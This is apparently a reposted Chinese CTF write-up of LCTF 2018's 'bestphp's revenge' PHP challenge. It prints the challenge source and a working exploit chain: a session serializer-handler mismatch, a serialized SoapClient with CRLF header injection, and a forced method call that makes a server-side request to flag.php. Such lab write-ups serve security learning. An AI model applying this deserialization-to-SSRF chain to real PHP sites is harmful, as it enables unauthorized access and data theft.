bestphp's revenge刷题笔记
2022/1/10 20:03:54
本文主要是介绍bestphp's revenge刷题笔记,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!
题目源码
index.php
<?php highlight_file(__FILE__); $b = 'implode'; //可被覆盖 call_user_func($_GET['f'], $_POST); session_start(); if (isset($_GET['name'])) { $_SESSION['name'] = $_GET['name']; } var_dump($_SESSION); $a = array(reset($_SESSION), 'welcome_to_the_lctf2018'); call_user_func($b, $a); ?>
flag.php
<?php session_start(); echo 'only localhost can get flag!'; $flag = 'LCTF{*************************}'; if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){ //要通过ssrf来获取flag $_SESSION['flag'] = $flag; }?>
解题思路:利用session反序列化触发soapclient类方法进行ssrf访问flag,php
第一步:
session反序列化需要session.serialize_handler使用与默认不一样,所以首先用第一个call_user_func执行session_start('session.serialize_handler','php_serialize')设置用php_serialize来处理session,同时session反序列化时构造的类为soapclient
利用soapclient构造ssrf
<?php $a = new SoapClient(null, array( 'user_agent' => "aaa\r\nCookie:PHPSESSID=u6ljl69tjrbutbq4i0oeb0m332", //这里可以通过加crlf的方法控制header,带上自己的sessionid 'uri' => 'bbb', 'location' => 'http://ae0bb0f2-f512-4118-8f03-60a13b829c0a.node4.buuoj.cn:81/flag.php' //向此处发起请求 ) ); $b = serialize($a); echo urlencode($b); ?>
然后将其前加|传入name中(写入session并被php解析为键值)
此时name被通过php_serialize处理写入了session数组中
第二步:
要想办法触发soapclient的序列化值,要先调用其中的_call,此时用php引擎来反序列化session,$a数组中第一项即为我们构造的soapclient类,在第二个call_user_func中让这个类调用不存在的方法即可触发ssrf
做题过程中遇到了一个坑,如果soapclient发起请求中带的sessionid是自己在本题环境中拿到的sessionid则第二步会造成死循环引发504错误
回头看思路有迹可循但确实好难想到啊
这篇关于bestphp's revenge刷题笔记的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!
- 2024-03-29env: php: no such file or directory
- 2024-03-01php foreach break
- 2024-02-26Exception参数 php-icode9专业技术文章分享
- 2023-12-30PHP文件批量上传-icode9专业技术文章分享
- 2023-12-30thinkphp6 withJoin-icode9专业技术文章分享
- 2023-12-27MagicArray:像php一样,让Go业务代码不再卷!
- 2023-11-18centos7编译安装PHP教程。
- 2023-11-18centos7编译安装phpMyAdmin教程。
- 2023-10-13唱衰这么多年,PHP 仍然还是你大爷!
- 2023-07-25PHP8,性能更好,语法更好,类型安全更完善